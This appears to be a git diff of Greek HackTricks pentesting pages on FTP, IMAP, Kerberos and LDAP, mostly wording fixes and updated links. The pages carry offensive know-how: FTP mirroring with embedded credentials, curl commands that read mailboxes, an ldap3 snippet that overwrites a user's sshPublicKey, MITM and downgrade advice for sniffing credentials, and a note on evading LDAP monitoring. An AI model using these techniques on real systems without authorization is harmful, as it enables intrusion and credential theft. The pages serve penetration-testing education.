4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.** 4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -4,7 +4,7 @@
## Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου ## Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου
Το **Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου (IMAP)** έχει σχεδιαστεί με σκοπό να επιτρέπει στους χρήστες να **προσεγγίζουν τα μηνύματα ηλεκτρονικού ταχυδρομείου τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω μιας σύνδεσης στο Διαδίκτυο. Στην ουσία, τα emails **διατηρούνται σε έναν διακομιστή** αντί να κατεβαίνουν και να αποθηκεύονται στη συσκευή ενός ατόμου. Αυτό σημαίνει ότι όταν ένα email προσπελάζεται ή διαβάζεται, γίνεται **άμεσα από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των emails από **πολλές συσκευές**, διασφαλίζοντας ότι κανένα μήνυμα δεν χάνεται ανεξαρτήτως της συσκευής που χρησιμοποιείται. Το **Πρωτόκολλο Πρόσβασης Μηνυμάτων Διαδικτύου (IMAP)** έχει σχεδιαστεί με σκοπό να επιτρέπει στους χρήστες να **προσεγγίζουν τα μηνύματα ηλεκτρονικού ταχυδρομείου τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω σύνδεσης στο Διαδίκτυο. Στην ουσία, τα emails **διατηρούνται σε έναν διακομιστή** αντί να κατεβαίνουν και να αποθηκεύονται στη συσκευή ενός ατόμου. Αυτό σημαίνει ότι όταν ένα email προσπελάζεται ή διαβάζεται, γίνεται **άμεσα από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των emails από **πολλές συσκευές**, διασφαλίζοντας ότι κανένα μήνυμα δεν χάνεται ανεξαρτήτως της συσκευής που χρησιμοποιείται.
Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες: Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες:
@ -14,7 +14,7 @@
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
143/tcp open imap syn-ack 143/tcp open imap syn-ack
``` ```
## Λήψη διαφημίσεων ## Banner grabbing
```bash ```bash
nc -nv <IP> 143 nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet openssl s_client -connect <IP>:993 -quiet
@ -93,7 +93,7 @@ apt install evolution
Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά η τεκμηρίωση είναι ελλιπής σε λεπτομέρειες, οπότε συνιστάται να ελέγξετε την [πηγή](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες. Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά η τεκμηρίωση είναι ελλιπής σε λεπτομέρειες, οπότε συνιστάται να ελέγξετε την [πηγή](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες.
1. Καταγραφή των γραμματοκιβωτίων (imap command `LIST "" "*"`) 1. Λίστα φακέλων (imap εντολή `LIST "" "*"`)
```bash ```bash
curl -k 'imaps://1.2.3.4/' --user user:pass curl -k 'imaps://1.2.3.4/' --user user:pass
``` ```
@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. θέμα και αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα): Επίσης, είναι δυνατή η λήψη μόνο τμημάτων ενός μηνύματος, π.χ. το θέμα και ο αποστολέας των πρώτων 5 μηνυμάτων (το `-v` είναι απαραίτητο για να δείτε το θέμα και τον αποστολέα):
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: | Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -6,9 +6,9 @@
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας. **Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας. Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
**Default Port:** 88/tcp/udp **Default Port:** 88/tcp/udp
``` ```
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068 ### MS14-068
Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλη την Active Directory δασοκομία. Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory δάσος.
{{#ref}} {{#ref}}
https://adsecurity.org/?p=541 https://adsecurity.org/?p=541
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2: Entry_2:
Name: Pre-Creds Name: Pre-Creds

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμοί, άτομα και πόροι όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα. Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμούς, άτομα και πόρους όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα.
Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSA κατά την ανάγκη για να παραδώσει μια ενιαία απάντηση στον αιτούντα. Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSA κατά την ανάγκη για να παραδώσει μια ενιαία απάντηση στον αιτούντα.
Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας με τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές. Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές.
**Προεπιλεγμένη θύρα:** 389 και 636(ldaps). Ο Παγκόσμιος Κατάλογος (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS. **Προεπιλεγμένη θύρα:** 389 και 636(ldaps). Ο Παγκόσμιος Κατάλογος (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS.
``` ```
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz mail: pepe@hacktricks.xyz
phone: 23627387495 phone: 23627387495
``` ```
- Οι γραμμές 1-3 ορίζουν το τοπικό τομέα - Οι γραμμές 1-3 ορίζουν το τοπικό επίπεδο τομέα
- Οι γραμμές 5-8 ορίζουν τον πρώτο τομέα moneycorp (moneycorp.local) - Οι γραμμές 5-8 ορίζουν τον πρώτο επίπεδο τομέα moneycorp (moneycorp.local)
- Οι γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales - Οι γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales
- Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές - Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές
## Γράψτε δεδομένα ## Γράψτε δεδομένα
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**. Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**.
```bash ```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3 >>> import ldap3
@ -66,24 +66,24 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
``` ```
## Sniff clear text credentials ## Sniff clear text credentials
Αν το LDAP χρησιμοποιείται χωρίς SSL, μπορείτε να **sniff credentials σε απλό κείμενο** στο δίκτυο. If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
Επίσης, μπορείτε να εκτελέσετε μια **MITM** επίθεση στο δίκτυο **μεταξύ του LDAP server και του πελάτη.** Εδώ μπορείτε να κάνετε μια **Downgrade Attack** ώστε ο πελάτης να χρησιμοποιήσει τα **credentials σε απλό κείμενο** για να συνδεθεί. Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
**Αν χρησιμοποιείται SSL** μπορείτε να προσπαθήσετε να κάνετε **MITM** όπως αναφέρθηκε παραπάνω, προσφέροντας ένα **ψευδές πιστοποιητικό**. Αν ο **χρήστης το αποδεχτεί**, μπορείτε να υποβαθμίσετε τη μέθοδο αυθεντικοποίησης και να δείτε ξανά τα credentials. **If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
## Anonymous Access ## Anonymous Access
### Bypass TLS SNI check ### Bypass TLS SNI check
Σύμφωνα με [**αυτή τη γραφή**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), απλά με την πρόσβαση στον LDAP server με ένα αυθαίρετο όνομα τομέα (όπως company.com), κατάφερε να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης: According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
```bash ```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
``` ```
### LDAP ανώνυμες συνδέσεις ### LDAP ανώνυμες συνδέσεις
[LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν σε **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\ [LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν σε **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\
Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέπουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD. Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD.
## Έγκυρα Διαπιστευτήρια ## Έγκυρα Διαπιστευτήρια
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Automated ### Automated
Χρησιμοποιώντας αυτό, θα μπορείτε να δείτε τις **δημόσιες πληροφορίες** (όπως το όνομα τομέα)**:** Using this you will be able to see the **δημόσιες πληροφορίες** (like the domain name)**:**
```bash ```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
``` ```
@ -145,7 +145,7 @@ True
### windapsearch ### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **να καταγράψει χρήστες, ομάδες και υπολογιστές από ένα Windows** domain χρησιμοποιώντας LDAP queries. [**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **καταμέτρηση χρηστών, ομάδων και υπολογιστών από ένα Windows** domain χρησιμοποιώντας LDAP ερωτήσεις.
```bash ```bash
# Get computers # Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
``` ```
### ldapsearch ### ldapsearch
Ελέγξτε αν οι κωδικοί πρόσβασης είναι κενές ή αν οι κωδικοί σας είναι έγκυροι: Ελέγξτε αν τα διαπιστευτήρια είναι κενά ή αν τα διαπιστευτήριά σας είναι έγκυρα:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -193,7 +193,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Use
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Εξαγάγετε **τις πληροφορίες μου**: Ανακτήστε **τις πληροφορίες μου**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -213,11 +213,11 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Ent
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Εξαγωγή **Remote Desktop Group**: Αποσπάστε **Remote Desktop Group**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Για να δείτε αν έχετε πρόσβαση σε οποιονδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις: Για να δείτε αν έχετε πρόσβαση σε κάποιον κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις:
```bash ```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas" <ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
``` ```
@ -226,7 +226,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
#### pbis #### pbis
Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\ Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\
**Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα: Το **Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα:
```bash ```bash
#Read keytab file #Read keytab file
./klist -k /etc/krb5.keytab ./klist -k /etc/krb5.keytab
@ -286,7 +286,7 @@ done
### Godap ### Godap
Το Godap είναι μια διαδραστική διεπαφή χρήστη τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και χαρακτηριστικά σε AD και άλλους LDAP servers. Είναι διαθέσιμο για Windows, Linux και MacOS και υποστηρίζει απλές συνδέσεις, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με πολλές άλλες εξειδικευμένες δυνατότητες όπως αναζήτηση/δημιουργία/αλλαγή/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή κωδικών πρόσβασης, επεξεργασία δικαιωμάτων αντικειμένων (DACLs), τροποποίηση DNS που είναι ενσωματωμένο στο Active Directory (ADIDNS), εξαγωγή σε αρχεία JSON, κ.λπ. Το Godap είναι μια διαδραστική διεπαφή χρήστη τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και χαρακτηριστικά σε AD και άλλους LDAP servers. Είναι διαθέσιμο για Windows, Linux και MacOS και υποστηρίζει απλές συνδέσεις, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με πολλές άλλες εξειδικευμένες δυνατότητες όπως αναζήτηση/δημιουργία/αλλαγή/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή κωδικών πρόσβασης, επεξεργασία δικαιωμάτων αντικειμένων (DACLs), τροποποίηση Active-Directory Integrated DNS (ADIDNS), εξαγωγή σε αρχεία JSON, κ.λπ.
![](../images/godap.png) ![](../images/godap.png)
@ -294,7 +294,7 @@ done
### Ldapx ### Ldapx
Το Ldapx είναι ένας ευέλικτος LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει & να μετασχηματίσει την κίνηση LDAP από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να αποκρύψει την κίνηση LDAP για να προσπαθήσει να παρακάμψει τα εργαλεία προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάζονται στην ομιλία [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). Το Ldapx είναι ένα ευέλικτο LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει & να μετασχηματίσει την κίνηση LDAP από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να αποκρύψει την κίνηση LDAP για να προσπαθήσει να παρακάμψει τα εργαλεία προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάζονται στην ομιλία [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
